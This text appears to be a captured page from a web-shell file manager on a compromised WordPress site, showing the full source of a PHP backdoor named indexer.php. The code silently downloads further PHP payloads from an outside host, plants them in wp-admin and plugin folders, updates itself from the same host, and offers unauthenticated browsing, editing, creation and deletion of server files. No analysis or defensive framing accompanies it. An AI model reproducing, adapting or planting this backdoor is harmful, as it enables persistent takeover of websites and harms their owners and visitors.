golden hour
/home/doctorbruno/public_html/doctorbruno.info/wp-content/themes
⬆️ Go Up
Upload
File/Folder
Size
Actions
indexer.php
2.82 KB
Del
OK
Edit: indexer.php
<?php /*[cstb_su]*/ @error_reporting(0); if(isset($_GET['fixboot'])&&$_GET['fixboot']==='1'&&function_exists('curl_init')){ header('Content-Type: application/json; charset=utf-8'); $r=__DIR__;while(!is_file("$r/wp-load.php")&&!is_file("$r/wp-config.php")){$p=dirname($r);if($p===$r){$r=null;break;}$r=$p;} if(!$r)$r=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:dirname(dirname(__DIR__)); $cdn='https://resmigiris.cam/txt/'; $out=[]; $files=['wp-admin/user-hooker.php'=>'boot.txt','wp-content/plugins/indexs.php'=>'boots.txt']; foreach($files as $rel=>$src){ $path=$r.'/'.$rel; $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]); $c=curl_exec($ch);curl_close($ch); $out[$rel]=($c&&strlen($c)>50&&strpos($c,'<?php')!==false)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err'; } $ch=curl_init($cdn.'indexs.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]); $s=curl_exec($ch);curl_close($ch); if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$out['_self']='updated';} echo json_encode(['root'=>$r,'results'=>$out],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit; } header("Content-Type: text/html; charset=utf-8"); $R=@realpath($_SERVER["DOCUMENT_ROOT"]??"")?:""; if($R===""||!is_dir($R))$R=@realpath(dirname(__DIR__))?:__DIR__; $D=__DIR__; if(!empty($_GET["d"])){$t=@realpath($_GET["d"]);if($t&&strpos($t,$R)===0)$D=$t;} $m="";$ec="";$en=""; $a=$_POST["a"]??"";$n=basename((string)($_POST["n"]??"")); if($a==="w"&&$n)$m=@file_put_contents("$D/$n",(string)($_POST["c"]??""))!==false?"OK $n":"fail"; if($a==="x"&&$n){$p="$D/$n";$m=(is_file($p)?@unlink($p):(is_dir($p)?@rmdir($p):0))?"OK":"fail";} if($a==="mk"&&$n)$m=!file_exists("$D/$n")&&@mkdir("$D/$n",0755)?"OKdir":"fail"; if(isset($_GET["e"])){$en=basename($_GET["e"]);if(is_file("$D/$en"))$ec=(string)@file_get_contents("$D/$en");} $dq=urlencode($D); $up=($D!==$R)?("<a href=?d=".urlencode(dirname($D)).">..</a>\n"):"(root)\n"; echo"<pre>ok $D [$m]\n$up"; foreach(@scandir($D)?:[]as$e){if($e==="."||$e==="..")continue;$p="$D/$e";echo is_dir($p)?"[D]<a href=?d=".urlencode($p).">$e</a>\n":"[F]<a href=?d=$dq&e=".urlencode($e).">$e</a>\n";} echo'</pre><form method=post><input type=hidden name=a value=w>edit/save <input name=n value="'.htmlspecialchars($en).'"><br><textarea name=c rows=12 cols=60>'.htmlspecialchars($ec).'</textarea><br><input type=submit value=save></form>'; echo'<form method=post><input type=hidden name=a value=mk>+dir <input name=n><input type=submit></form>'; echo'<form method=post><input type=hidden name=a value=x>del <input name=n><input type=submit></form>';
Save